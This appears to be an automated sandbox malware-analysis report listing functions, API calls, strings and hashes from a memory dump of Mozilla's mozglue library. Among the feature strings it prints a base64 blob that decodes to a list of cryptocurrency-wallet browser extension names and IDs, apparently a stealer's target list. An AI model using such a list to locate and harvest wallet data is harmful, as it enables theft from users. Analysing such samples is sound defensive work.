markersallthreads, xrefs: 6C99CE42
screenshots, xrefs: 6C99CCD4
java, xrefs: 6C99CC37
b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6C99CE92
preferencereads, xrefs: 6C99CD92
noiostacks, xrefs: 6C99CCBE
notimerresolutionchange, xrefs: 6C99CE00
ipcmessages, xrefs: 6C99CDBE
stackwalk, xrefs: 6C99CCF8
power, xrefs: 6C99CE84
processcpu, xrefs: 6C99CE6E
default, xrefs: 6C99CC21
seqstyle, xrefs: 6C99CCE6
nostacksampling, xrefs: 6C99CD7C
jsallocations, xrefs: 6C99CD0E
fileioall, xrefs: 6C99CCA8
audiocallbacktracing, xrefs: 6C99CDD4
nativeallocations, xrefs: 6C99CDA8
Unrecognized feature "%s"., xrefs: 6C99CEA0

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-525132538
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

user32.dll, xrefs: 6C964557, 6C96463F
NativeNtBlockSet_Write, xrefs: 6C9646F7
l, xrefs: 6C964578
WRusr.dll, xrefs: 6C9644B5
kernel32.dll, xrefs: 6C9644CD

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C99EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
Thread , xrefs: 6C99F789
" attempted to re-register as ", xrefs: 6C99F858

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C99EED7
[I %d/%d] profiler_pause, xrefs: 6C99F008

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

<jemalloc>, xrefs: 6C98D268, 6C98D311
MALLOC_OPTIONS, xrefs: 6C98D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
MOZ_CRASH(), xrefs: 6C98D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
